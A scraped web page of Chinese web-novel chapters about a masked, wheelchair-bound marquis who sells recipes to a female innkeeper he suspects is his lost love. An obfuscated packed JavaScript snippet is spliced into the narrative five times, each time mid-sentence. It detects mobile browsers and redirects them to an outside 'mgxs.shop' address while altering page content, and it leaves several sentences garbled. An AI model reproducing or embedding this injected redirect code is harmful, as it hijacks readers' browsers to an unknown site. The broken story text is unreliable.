菜一道接着一道被端上来,晏无咎这桌的景象实在是太过繁华,与周遭形成截然不同的对比。 晏无咎神色淡淡的吃着盘中菜,实则眸光却在这栋酒楼里隐晦的扫描。 身为掌柜,都不下楼的吗? 晏无咎内心烦得很,面上却依旧平静的吃着盘中的菜。 这家酒楼的菜确实是比满香楼的强多了,满香楼也就只能挣挣那群皇族世家子弟的银子了。 晏无咎眸底划过嘲讽,皇族世家子弟?一群四肢健全的蠢货罢了。 “这菜谁做的?” 冷不丁的一声质问,让整个大堂都静了几分。 小厮有点懵,赶紧上前,脸上堆着讨好的笑,“这位客官,可是这菜有什么不对的地方吗?”。 晏无咎:“这才谁做的?” 小厮陪笑,“回客官,这菜都是咱们四海楼后厨专业的大厨做的,头发都是包着的,嘴巴也是遮着的,保证干净。” “……就是这味道,各人有各爱嘛,有什么不合客官您口味的地方,客官您尽管说,咱们绝对会采纳建议。” 晏无咎:“这菜非常好吃,我想见见你们的大厨和掌柜。” 第一百一十二章带路。 小厮:“……” 小厮懵了,怎么菜都非常好吃了,还要见他们掌柜和大厨。 周围竖着耳朵准备看热闹的人群也蒙了,那菜就好吃到要见掌柜和大厨的程度?看来下次他们也得尝尝。 不少人都默默记下晏无咎面前那菜的样式。 晏无咎:“嗯?你没听到吗?” 小厮回神,“听到了听到了,就是,这位客官,小的能冒昧问一句吗?” 晏无咎:“嗯。” 小厮咽了咽口水,心中竟无端对这个坐着轮椅的残废男人升起一股怂意。 “这菜既然已经非常好吃了,您为什么还要见我们掌柜和大厨。” 晏无咎手指轻敲桌面,说出让所有人都意想不到的话。 “我毛遂自荐。” 小厮:“啊???” 小厮这下真的是懵上加懵。 他张了张嘴,又咽了口唾沫,带着些怀疑的问,“这位客官,您是要毛遂自荐什么?”。 晏无咎面无表情,语气平淡,却说出极其让人脑懵的一个字。 “我。” 整个大堂瞬间鸦雀无声。 随即,又传出几声压抑的偷笑声,有了这个开头,剩下不少人也都放肆的大笑起来。 “哟!这是哪家的断腿儿公子哥想出来证明自己了,哈哈哈!” “是想坐着轮椅当大厨吗?真是招笑,哈哈哈!” “哎哎哎!各位肤浅了,我听说这四海楼的掌柜的是个女子,也说不定这位公子是来毛遂自荐要入赘的呢。” “哈哈哈哈哈哈!” “……” 小厮无望的看着哄笑一片的大堂,又看了看一言不发的晏无咎,他就是个臭做事的,为什么要这么为难他啊! 小厮绝望的闭了闭眼,依旧是非常有职业操守,躬着身子卑微的问,“这位公子,你……做菜很好吃吗?”。 问完这句话,小厮自己都觉得荒唐,都觉得无望,都觉得好笑。 谁能料到,这位坐着轮椅的蒙面男子还非常认真的说,“嗯,你们掌柜肯定心悦我做的菜”。 “噗!哈哈哈哈哈哈!” “还肯定喜欢,咋后面一个人推着你,你在前面做着菜啊!” “不知道是个什么见不得人的东西,还蒙着张脸,敢问这位公子,是不是师从闲云别馆呐?” “闲云别馆是啥子?” “**儿!闲云别馆就是小倌**的地方。” 一句句嘲讽声往林木耳朵里灌,他桌下的拳头紧握,就快要忍不住了,他砰的站起身,看向晏无咎,“公子,我……我去揍他们一顿”。 晏无咎冰冷启唇,“坐下”。 吸引了众人目光的林木又灰蔫蔫的坐下,又惹了一波笑话。 晏无咎看着小厮,“带我去后厨”。 小厮汗颜,他真是左右都为难,再在这儿呆下去,他是真的害怕这俩人忍不住了,直接和另外的客**骂起来。 小厮连连点头,“哎哎,好嘞,小的先带您去上面等着,小的再去找掌柜的说一下,您看怎么样?”。 晏无咎点头,又随手在桌上留下两个大银锭子。 小厮双眼放光,但内心惶恐,“客……客官,这要不了这么多银子”。 晏无咎:“今日是我给你们四海楼添麻烦了,这是应该的。” 小厮咽了咽口水,“好…好嘞,这位客官咱们楼上请”。 说完这句话,小厮才想到眼前这位爷腿是个废的,更害怕了。 小厮:“我…我……” 晏无咎并再说话,只是用实力装了一波,只见轮椅上的蒙面晏无咎双手拍向桌面,看着明明是轻飘飘的力道,却在掌心落到桌面的瞬间激起一股劲风,晃眼间,便看到刚才还在一楼的男人,出现在了二楼。 哇—— 全都目瞪口呆了。 咕咚—— “还是个会武功的残腿儿小倌。” 林木狠狠的瞪了一眼说闲话的男人,又跑上二楼去找自家的侯爷。 “这两个蒙面小倌又有银子又有武功的,咋就想着来这当大厨?” “可能是脑子有病吧。” 小厮内心暗呼,这次可真是招惹到不知道是啥的人物了,又赶忙奔上二楼,给那两位安排了一间包间。 反正那轮椅男人给的两锭大银子足够这两人在这包间里坐上一天了。 小厮倒好茶水,“这位爷,您先在这儿等一会儿,小的去给您找我们掌柜”。 晏无咎嘴角轻勾,抬眸冷睨了小厮一眼,状似漫不经心的摩挲着着手中的**,嗓音低沉暗哑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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夏清棠觉得,是该去会会那人,居然敢在他们四海楼开业没几天就来**儿,简直是太猖狂了。 “三山,带路。” 第一百一十三章脑补。 “三山,带路。” 李三山带路前先凑近夏清棠,压低声音说,“林掌柜,我看那人绝对不是什么善茬,刚才还亮出**吓唬我呢,林掌柜,您多带点人,再装把**,这样更安全”。 夏清棠恍然大悟,果然是故意来**儿的人,谁家好人出来应聘厨子还拿把**啊,拿把菜刀还勉强说的过去。 夏清棠:“行。” 于是,明面上夏清棠后面跟着李三山往晏无咎待着的包间走去,暗地里,又悄悄跟了好几个人。 咚咚咚! “爷,咱们掌柜的来了,能进来吗?” 夏清棠赏识的看了李三山一眼,这小子,职业操守意识很强。 屋内传来声音,“请进”。 李三山觉得不对劲儿,怎么还成了请进呢? 夏清棠也觉得不对劲儿,声音有点耳熟。 没来得及细想,门从里面打开了。 映入眼帘的是两个男人,一个身材挺拔,即使坐在轮椅上,也能看出那一身的好身材,宽肩窄腰,就是不知道屁股翘不翘。 另外一个则普通了点。 还都带着面罩,覆面系的? 夏清棠眸光落到两人脸上,心中那股子不对劲儿的想法越来越强烈。 罩面晏无咎:“想必这位就是林掌柜了吧,为何不进来坐坐,是怕我这个残废伤到你吗?” “林掌柜不必害怕,我只是会点耍杂技的三脚猫功夫。” 夏清棠这还能说啥,进去呗,进去坐着呗,不过,这男的来应聘,还敢对老板这样说话。也是牛的很啊。 离罩面男人还有一段距离,夏清棠停下脚步,语气带着当掌柜的特有调调。 “听说你是毛遂自荐想当厨子的?” 罩面晏无咎:“嗯。” 夏清棠冷笑,意味深长的看着眼前的罩面男人,“你是来砸场子的吧,我们四海楼要真是收了你,怕是明天就要倒闭了,你这个样子……能烧菜?”。 罩面晏无咎听到这明显是嘲讽的话也不恼,反而是轻笑了两声,他的眸光紧紧落在面前这个林掌柜的脸上,说了句让人没头没脑的话。 “林掌柜,你敢不敢再离我近点。” 夏清棠丝毫没有犹豫的:“不敢。” 你一看就不怀好意。 晏无咎喉间溢出轻笑,心情似乎好极了,连那双因为面罩的存在而让人看不真切的双眸,此刻都变得亮灿灿的。 夏清棠蹙眉,她现在是真的感觉这男人是个脑子有问题的。 “我们四海楼不收脑子有问题的,什么时候把脑子治好再来毛遂自荐吧。” 晏无咎眼眸里闪烁着兴奋的亮光,说话还是这么毒呐。 晏无咎扬了扬下巴,姿态看着高傲,可语气又实在是卑微,“你若实在是看不上我是废腿,那可否尝一下我炒的菜,是我自创的,若是你满意,可否卖给你”。 “另外,我也希望与你们四海楼长期合作。” 夏清棠疑惑,“你要卖菜?”。 晏无咎纠正,“嗯,卖配方,毕竟我这废人一个,也不配来你这四海楼当厨子”。 夏清棠丝毫不理会眼前这男人明里暗里的装惨,声音依旧冷冰冰,“行啊,先做来尝尝”。 晏无咎:“嗯。” 夏清棠朝外走去,“三山,给他找个厨房,不要去大后厨”。 李三山:“好嘞,林掌柜。” “这位爷,咱们这边儿请。” 李三山带着晏无咎两人去了二楼另外的厨房。 里面人很少,大概只有四五个人,看到李三山进来,纷纷笑着打招呼,看到李三山身后跟着的人,脸上又浮出疑惑。 “三山,这是你亲戚吗?” 李三山连连摆手,也不知道该怎么解释,“不是不是”。 “哎呦,三山你们是来干啥,一楼不忙了?” 李三山笑着摇头,“这都是林掌柜安排的,我也不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244505|195940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”。 话音一落,没人再上来搭话,纷纷专注着干自己的事儿,李三山松了口气,还是林掌柜厉害啊,不然他是真怕又看到刚才和楼下一样的场景。 李三山:“爷,您烧菜吧,我给您打下手。” 晏无咎看了眼李三山,“你会的还挺多”。 李三山嘿嘿一笑,“可不嘛,穷人家孩子就是个这”。 晏无咎点头,“行,多谢你了”。 不大的厨房里,每个人都忙的热火朝天,除了林木。 林木内心哀嚎,为什么侯爷不让他来帮忙打下手,而是要那个可恶的小厮啊。 切,不稀罕。 倒是厨房里另外几个人,总是不由自主的就将目光瞟向这两个外人身上,都遮着脸,一个坐着轮椅在烧菜,另外一个身体健全在呆站。 嗯……不中啊,怎么看怎么不对啊。 “兄弟,是不是家里困难,怎么都这样了还来这烧菜啊?” “还有那位,看着好好的一个小伙子,怎么就光知道站着呢?” 几人憋不住了,上前搭话,晏无咎专心和李三山切着菜,听到这话笑了笑,无奈的说了句,“没办法”。 这副样子在几人眼里看来,就是很苦命的表现,已经自动脑补了一部兄长残废,弟弟是个傻子,家里还有一大家子等着养活的的悲惨故事。 “唉!可怜见的,有什么需要帮助的就跟大娘们说啊。” 晏无咎:“嗯。” 没人再去打扰晏无咎和李三山,这挣钱的要紧事儿啊,可不能叫她们给耽搁了。 不大的厨房里渐渐飘出香的出奇的菜香味儿。 “好了。” 晏无咎话音落下,李三山立刻手脚麻木的把菜盛出来。 晏无咎点头,“嗯,给你们林掌柜送过去吧”。 李三山咽咽口水,逼自己把目光从菜上离开,“嗯嗯,好嘞,小的这就去”。 “不用了,我在。” 第一百一十四章求之不得。 低沉的女声从门口处传来,几人循声看去,看到斜靠在门框上的夏清棠。 “林掌柜。” “林掌柜,快,给林掌柜搬个椅子。” 夏清棠径直走向手中端着菜的李三山,丝毫没有分一个眼神给旁边眼巴巴看着她的晏无咎。 “不必了,我来尝口菜就走。” 夏清棠迈步走进李三山,拿起盘子上的筷子,俯身凑近那盘色香味都超标的菜。 “看着不错,闻着也挺香。” 嚼嚼嚼。 “嗯,可以。” 留下一句极淡的评价,她直起身子掀眸看向罩面男人,“不错,可以谈谈卖配方的事儿了”。 这味道让她来拆解配方,确实是有一丢丢难度,况且,这菜的主人就在眼前,怎么能干那种偷奸耍滑的不道德事儿。 “三山,把这位……神秘公子带回刚才的包间内,我们细谈。” 李三山:“好的,林掌柜。” 几人又回到刚才的待着的包间内。 夏清棠和晏无咎分别坐在桌子的两端,李三山和林木则分别跟在两人身侧。 夏清棠:“这位公子,请问贵姓呐?” 晏无咎勾唇:“王。” 夏清棠:“原来是王公子,我虽看不清公子面容,但只看公子周身气势,便知公子绝非一般人。” 晏无咎:“林掌柜说笑了,王某确实不一般,毕竟一般人都不是废腿。” 夏清棠:“……” 该死,她冷冰冰的内心竟升起一丝丝的愧疚。 夏清棠不再和这个罩面男人多说废话,“王公子,你对这道菜配方的期待报价是多少?”。 晏无咎将问题抛回去,“林掌柜你怎么看?”。 夏清棠挑眉,“我怎么看?那当然是越低越好喽”。 晏无咎:“那就依你的来。” 夏清棠脸色难辨,觉得这人确实是有点神经,废这么大劲儿,就搞个这?还是说,其实他还有更大的狠招在等着她。 “依我的来?王公子,我还没遇见过像你这样随性洒脱,不爱金银的生意人,说实话,你是不是憋着什么阴招在等着我呢。” 晏无咎眼底划过一丝笑意,“林掌柜这么不相信在下,倒是一不小心伤到了在下脆弱的小心脏”。 夏清棠偷偷翻白眼,还脆弱小心脏呢,她还你被捕了呢。 晏无咎:“林掌柜,实不相瞒,我是希望可以与你有长期合作的,这第一道菜的配方,当然可以作为礼物呈上。” 听到这话,夏清棠面上并没有什么神色,想跟她们长期合作的人多了去的,心底是这样想的,夏清棠嘴上当然不是这样说的。 夏清棠:“王公子,我们长期合作当然可以,只要你能一直拿出好菜方,我们当然可以互利共赢。” “实不相瞒,王公子,我们在这些年做生意的过程中,也遇到过很多像你这样的人,甚至在来到京城后也遇到过很多,人才嘛,谁不喜欢。” “只要你后续拿出的菜方,我们认可了,并且能做出高效益,我们或许还可以谈谈分成的事儿。” “想必王公子也清楚,这对你,可是百利而无一害哦。” 晏无咎轻点头,却只是说了句模棱两可的话,“林掌柜好口才”。 夏清棠声音冷下去,“王公子若单纯只是来浪费的时间的,那还真是找错地儿了”。 夏清棠下了逐客令。 偏偏对面这罩面男的就跟听不懂人话一样,还在那儿傻笑。 晏无咎:“林掌柜是不是很忙,要不要我这表弟在你这儿打打下手啊。” 他指了指身旁同样罩着面的林木。 林木内心:侯爷是想把我扔在这儿吗?呜呜呜。 夏清棠:“不必了,你们二位蒙着面,看着实在是太高级,我们这酒楼太小了。” 晏无咎唇角轻勾,这会儿人味儿倒是又更足了。 下一秒,在夏清棠错愕的目光中,桌子对端的晏无咎大掌滑动轮椅,竟径直朝夏清棠的方向滚来。 吓得夏清棠赶紧起身,连连往后退了几步。 “王公子,这是何意?” 轮椅顿住,罩面下的神情僵了一秒,又很快恢复原样,他又忘了,他现在是个废人,都这个样子了,还想在她面前展示魅力吗?怕不是个笑话。 可是,他现在就是迫切想验证一下,看看自己还能不能听到她的心声,看看她是不是她。 “王公子,有事儿就说。” 夏清棠又问了一遍,这男人真的是有点阴森啊。 晏无咎笑了笑,“林掌柜,我看你有点眼熟,但是我眼神不好,就想走近点,好能看清一点”。 “另外,这茶很香,王某想问一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250576|195940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 句,是在哪里买的。” “什么?哦,这茶啊。” 夏清棠听到这话,自然而然的走回自己刚才坐的椅子旁,拿起自己的茶杯看了看自己杯中的茶,她不懂茶,也喝不出来啥,只能靠眼睛看了。 晏无咎感受着近在咫尺的气息,闭上眼睛深深的吸了一口气。 好香。 夏清棠嘀咕:“有这么香吗?” 【有这么香吗?还要闭上眼睛深深呼吸,看着跟个痴汉一样。】 晏无咎睁开双眸,眸底是抑制不住的兴奋和喜悦,听到了,他听到了。 夏清棠其实看了半天也没看出来个所以然来,她豪爽的挥挥手,“三山,既然这位王公子这么喜欢这茶,那你一会儿去给他装上点,让他带走。”。 李三山:“好嘞,林掌柜。” 晏无咎:“林掌柜真是女中豪杰,能认识你这样的女子,真是王某三生有幸。” 夏清棠:“……” 【马屁精。】 夏清棠没搭茬,“所以,你到底想卖多少,不想卖的话,我们也不是非要不可”。 晏无咎垂眸思索一会儿,“十两银子如何”。 夏清棠轻啧,“行啊,不过你得先把我这儿的厨子教会,并且教到能掌握精髓为止”。 【还有这好事,这人是真的脑子那啥,还是咋了,不管怎样,都要找人看着点。】 晏无咎嘴角勾起愉悦的弧度,眸光含笑,嗓音低沉,“求之不得”。 夏清棠意外,“那你想啥时候开始教”。 晏无咎:“随时。” 夏清棠:【这也太好说话了吧……】 “好啊,李三山,先带他去找江老板立契。” 李三山:“好嘞,林掌柜。” 晏无咎插嘴,“林掌柜,我认生,就想和你立契”。 夏清棠:“?” “你认生?” 晏无咎:“嗯嗯。” 夏清棠眸光意外捕捉到这王公子的通红的耳朵,不禁挑眉,“行啊,那你们就先在这屋等着吧,我一会儿就来”。 “三山,照顾着点。” 晏无咎:“嗯嗯。” 李三山:“嗯嗯。” 夏清棠走出房门,走在走廊上,嗯嗯嗯嗯,她的脑海中为什么都是那男人的嗯嗯声。 她也抽风了? 第一百一十五章梦醒了,妖精跑了。 很快,契立好了。 原来是叫王见青,名字和这人倒是一点都不符合。 夏清棠看了眼对面的男子,又看了眼窗外的天色,“王公子,天色不早了,要不你明日再来?”。 晏无咎声音带上些为难和窘迫的语气,“林掌柜,我这双腿你也看到了,实在是不方便,若是可以的话,我能否先在这里住下”。 “至于我这个傻弟弟,让他跟我住一个屋子就可以。” 林木叹气,就为了个背影相似的女人,侯爷这么拼吗?唉! 夏清棠:“你想住我这儿啊?” 晏无咎:“嗯嗯。” 夏清棠没什么意外的,她这里住着不少的做事儿的人。 夏清棠:“我这里只有伙计房,你这细皮嫩肉的,能行?” 晏无咎:“能行。” 夏清棠:“是好几个人在一间屋子住的那种哦,你确定能行?” 晏无咎:“确定。” 夏清棠:“行!三山,给这二位安排上。” 李三山:“好嘞,林掌柜。” …… 深夜,躺在大通铺上的晏无咎,也感觉很是恍惚。 大通铺,他有多久没睡过这种床了。 耳边是响到能掀翻屋顶的层层呼噜声,晏无咎的心也跟着这此起彼伏的呼噜声一上一下,不能平静。 截然不同的面孔,完全相似的行为习惯说话方式,还有……心声。 夏清棠回来了,甚至现在他们就在一栋楼里睡觉,远在天边,又近在咫尺。 他想不顾一切的冲上去紧紧抱住她,问她这三年都去哪儿了,可是,仅存的那点理智告诉他,他不能这样做,这样做对谁都不好。 这样做对谁都不好。 睡在晏无咎身侧的林木已经是泪流满面了,侯爷,呜呜呜,你为什么要上赶着来这儿受罪啊,回侯府睡觉是不香吗? “侯……公子,我睡不着。” 晏无咎:“……睡不着就使劲儿睡。” 最后,林木呼噜打的在这间屋子里排正数第一,晏无咎也在这满屋震撼的呼噜声中进入梦乡。 晏无咎又做梦了。 与之前不同的是,这次是美梦,他梦到了夏清棠,梦到夏清棠看到蒙着面的他,第一眼就认出来他,并且还激动的抱住他。 说她很想他,说她日日夜夜都在想他。 在两人就要拥吻上的那一刻,梦醒了。 晏无咎梦醒了。 晏无咎满眼戾气,这梦还真是会**人呢。 身上突然传来重意,晏无咎低头,赫然看到搭在自己身上的一条腿,他扭头,又看到林木睡得油光满面的大脸盘子。 “拿开你的狗腿!” 呼呼呼——呼噜!呼! 回应他的只有响彻天际的呼噜声。 晏无咎直接一把甩开林木的狗腿子。 “呔!何方妖孽!” 一声惊呼落下,林木猛地弹坐而起,油光满面的脸上还是没睡醒的懵意,不知道是做了啥志怪梦了。 晏无咎一掌拍在他脑门上,“梦醒了,你的妖精跑了”。 林木这下是彻底醒了,他挠挠头,“嘿嘿,哥,不好意思,弟吓到你了”。 晏无咎点头,“不错,王木”。 两人一大早就搞了这么一出,毫无疑问的成了这间伙计房内的显眼包。 不过没人说啥。 李三山收拾好,“王公子,请跟我来吧”。 晏无咎利索坐上轮椅,跟在李三山后面来到了大后厨。 李三山拍拍手,吸引了后厨正忙碌的人们的注意力。 “各位,这位王公子,是咱们掌柜安排来教你们做新菜色的,大家照看着点。” “好嘞,三山啊,你就放心吧,大娘们可都是人美心善。” “三山你放心吧,大爷们也是人俊心善啊!” “哈哈哈!长得胡子拉碴的,我看应该是人糙心善!” 大后厨氛围很好,不像是忙于生计,四处奔波忙碌的人,倒像是其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250577|195940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乐融融的一家人。 “三山,你还没说这两小伙子叫啥名字呢?” “就是就是,叫公子多别扭,一点都不亲近。” 李三山哈哈傻笑了两声,但内心不知道为啥对这个轮椅罩面男就是害怕,就是怂,所以,他用眼神询问了一下晏无咎,得到对方同意的点头,这才说了两人的名字。 “哈哈哈,这位是王见青,这位是王木。” “哈哈哈哈哈哈!原来是我王家人啊。” 立马就有一个热心豪爽的大娘过来热情招呼晏无咎和林木。 “行了行了,三山小老弟,你快去一楼大堂忙着吧,这里不用你了”。 李三山:“不行,林掌柜叫我照顾好王公子,我得在这儿”。 “行吧行吧,今天三山老弟是镖师,专门保护王公子的安全。” 大后厨又调侃了好一会儿,看时间差不多,也都开始各司其职,不再说话。 晏无咎也被带到锅灶前,身旁是几个厨子,都在聚精会神的盯着晏无咎的操作。 晏无咎的手速极快,看到人眼花缭乱,脑子发懵。 厨子甲:“见青老弟,你手太快了,慢点慢点。” 晏无咎把菜盛出,“你们几个先尝尝”。 几个厨子丝毫不带犹豫的就夹菜吃进嘴里。 嚼嚼嚼。 “哇趣,老弟,你本事确实不小啊,看你蒙着脸,还坐着轮椅,我还以为你是个花架子。” “说啥呢,林掌柜安排的人怎么可能是花架子。” “对对对。” 晏无咎很快就融入了大后厨,几个大爷大娘纷纷夸赞晏无咎是个好伙子,要是腿是个好的,肯定能找到条件非常好的娘子。 于是,大后厨几人就开始说起自己家的孩子,又聊起晏无咎的年龄,说他不小了,实在不行,当个上门赘婿也是挺好的。 林木无望的闭了闭眼,庆幸还好自己离得这几个大娘大爷够远,还好自己够透明。 真是苦了侯爷了。 第一百一十六章尊严不值一提。 夏清棠一靠近大后厨,就听到里面热火朝天的聊天声。 细听,还有古代版的催婚呢。 夏清棠扯了扯唇角,难道催婚真的是人类刻在骨子里的基因吗?简直是恐怖。 咚咚咚! “你们还要聊到多久。” 敲门的警告声和莫得感情得女声落入每个人的耳中,大后厨瞬间静下来。 夏清棠斜倚在门框处,眸光扫过每个人,“这是做事的地方,不是闲话的场子,要是再被我发现偷懒嚼舌,今日的工钱扣半”。 没人敢顶嘴,只是应声,“是,林掌柜,我们错了”。 夏清棠眸光又看向坐着轮椅的罩面男人,“王公子,还劳烦你认真教”。 她轻笑一声,调侃,“自己挣银子不比当上门赘婿有尊严吗?”。 晏无咎轻勾唇角,毫不脸红的反击,“若是能做林掌柜这般人家的赘婿,那尊严就不值得一提了”。 夏清棠微怔,似是没想到他会这样回应。 夏清棠面不改色,冷心冷情,“那你可真是得好好努力了,像我这般的人家,一般人入不了我们的眼”。 “像那种油嘴滑舌的人,更是连门槛都扒不到。” 这话说出来,在场所有人都知道掌柜这是在说谁,这不就是在说这个王公子嘛,林掌柜还是这么坦率,她们喜欢,她们掌柜这样优秀的人,可不是随便什么人都能来勾搭一下的。 察觉到周围看好戏的目光,晏无咎也丝毫不恼,心底反而升起一股诡异的愉悦。 晏无咎抬眸认真的看着夏清棠,“林掌柜,好巧,我也不喜欢那种油嘴滑舌的人”。 “林掌柜,你还不喜欢什么样的人,能否一起都说与我听。” 夏清棠隐晦的瞪了不远处的罩面男人一眼,选择了不搭理他,冷冷的扫过这大后厨里的每一个人。 “专心做事儿,谁不想干了,可以来找我。” 夏清棠离开了,离开前还检查了一下后厨部分厨子们的学习结果,觉着差不多,也没多看晏无咎一眼,径直离开。 …… 咚咚咚—— “进。” 江汐汐走进,看着站在窗边走神的夏清棠,她笑了笑。 “林掌柜,听说,下面有个毛头小子,不对,还是个坐轮椅的毛头小子,扬言想做你的赘婿?” 夏清棠转回身,“你的消息倒是灵通的很”。 江汐汐:“防着点,这年头,自信的男人是很多,但是这么自信的还是第一次见。” 蒙着脸,腿儿还是废的,居然就敢大言不惭说当她们小殿下的赘婿,脸皮简直是比城墙还厚。 夏清棠点头,“嗯,他确实有些不对劲儿”。 “而且……给我一种莫名的熟悉感,啧。” 烦。 江汐汐:“那是要派人好好盯着。” “我们来京城也有些时日了,尤其是这几日,生意非常好,等再稳定一段时间,我们就该开始下一步了。” 夏清棠:“等生意再稳定稳定,不过,最近我们可以先从底层小官员入手。” 江汐汐:“好。” 夏清棠朝江汐汐使了个眼色,“晚上我们再细聊”。 江汐汐领会:“好。” 房门关上,江汐汐刚一离开,夏清棠的脑海中就传出小龙人的龙音。 “什么什么,小棠棠你要有赘婿了?” “不行不行,这必须得让本神武龙战士来把把关。” 夏清棠:“我们刚才聊了那么多,你就听到个这吗?” 小龙人:“你们还聊啥了。” 夏清棠轻笑调侃,“你还选择性耳聋呢?”。 小龙人:“不是!这都是因为我昏睡的时间太长了,所以龙脑才会有点发懵。” 夏清棠随口敷衍道:“行吧行吧。” “喂,小龙人,你出来。” 小龙人:“我出来了。” 夏清棠微眯双眸,一字一句的问,“你、确、定、是、只、有、我、能、看、到、你、吧!”。 小龙人懵了一下,“我确定啊”。 夏清棠嘴角挂起邪笑,“神武的龙战士,你可以帮我一个小小的忙吗?”。 小龙人倨傲的抬起下巴,“你说吧”。 夏清棠:“给我去盯着一个人。” 小龙人一听这话,面上瞬间划过惊恐,“不行,我不能离你太远的”。 夏清棠轻啧一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他在乐什么,傻乐!还不知道自己被盯上了吧,呵呵呵。 蠢货。 小龙人洋洋得意,傲娇的回看了一眼夏清棠。 夏清棠没防住,一不小心笑出声了。 谁曾想,反而又给了晏无咎更多想象的空间。 第一百一十七章重见故人。 晏无咎内心天使:或许她早就认出你来了,只是害羞或者害怕。 晏无咎内心恶魔:做梦呢你,要是认出你来,早就把你给撵出去了,再说了,你怎么就知道是对着你笑的,太自恋了吧。 晏无咎唇角笑容消失,接下来很长的时间,他都是极其认真专注的在教这几个厨子做菜。 夏清棠又看了一会儿,才离开。 小龙人持续飞在晏无咎身边,有一种不辱使命的专注感。 晏无咎动作顿住,双眸直直看向小龙人所在的方向,吓得小龙人一激灵,连呼吸都不敢了,很快,晏无咎移开目光。 小龙人松了一口气,真吓人,要不是它知道除了小棠棠,其他人都看不到它,它真的是要尖叫了。 晏无咎长睫垂落,遮住眸中神色,刚才,那里的气息很独特。 …… 江汐汐和夏清棠相伴着出了酒楼,身后还跟着些打扮不一的小厮。 她们酒楼最近特意推出了养身套餐,这是专门针对那些基层小官员推出的,基层小官员每日忙的飞起,劳心费神,大多脾胃不好,睡得也不好,并且,这类官员并不那么讲究排面,所以,她们推出的养生套餐非常适合他们。 现在,就要她们这些人走街串巷去自己做宣传了。 之后就是尽快吸引一些更上层的官员。 时间过得很快。 快到晏无咎已经来四海楼卖了三次菜方,快到四海楼在京城的名气更上一层楼,快到四海楼已经成为京城中底层官员口中津津乐道的酒楼。 晏无咎后槽牙咬的嘎嘣响,来了这么多次四海楼,见到她的次数却是寥寥无几。 林木凑到晏无咎耳边,小声说,“侯爷,我们该去满香楼了,听说好像……生意好像有点不好”。 晏无咎:“嗯。” 李三山看着匆匆赶来,又匆匆离去的晏无咎,不解的挠挠头,难道……是因为每日都坐着轮椅,所以一点都不累吗? 来他们这里来的这么勤。 …… 小龙人每次夏清棠一出酒楼就跟上,一回来,就又守到晏无咎身边,现在自然也是在夏清棠身边。 夏清棠:“你盯着也有一段时间了,盯出个啥来。” 小龙人低头摆弄着龙爪,“实不相瞒。我什么都没有盯出来”。 夏清棠:“他在酒楼住了几个晚上。” 小龙人:“三个。” 夏清棠:“三个晚上都没有看到过他的脸吗?” 一说到这个,小龙人就来气,“哇趣,小棠棠,你是不知道,你是不知道那个男的有多过分,你猜他晚上咋洗漱?”。 “他晚上洗脸居然是连着那个面罩一起洗,面罩连着脸就一起埋到水盆里了,面罩要是湿了,他就蒙着毛巾,然后换一个新的。” 小龙人夸张的捏住鼻子,“我当时看到那一幕的时候,我都感觉自己快不行了”。 “我盯了三天晚上,他夜夜是如此。” “小棠棠我告诉你,这样的人,你绝对不能招他入赘,对自己的脸隐瞒的这么紧,不是超级丑,就是有大秘密,或者是心理变态。” 夏清棠眸底划过暗光,嘴角勾起坏笑,“他上茅房和洗澡的时候,你没盯着吗?”。 小龙人发出尖锐的爆鸣声,“啊啊啊啊!小棠棠,你这个超级无敌大变态!”。 “我……我怎么可能干那么变态的事情。” 夏清棠:“行了行了,我故意逗你的,你要是真干了这种事儿,我还嫌弃你呢,绝对是要把你扔掉。” 咚咚咚! 夏清棠:“进。” 李三山:“林掌柜,宋太尉府上送来的帖子。” 夏清棠接过,宋太尉府?太尉啊,倒是个高官,怎么会主动来找他们。 帖子被展开,上面赫然写着,宋太尉府要订一百份四海楼的养生套餐。 夏清棠:哇哦~ 她看向李三山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 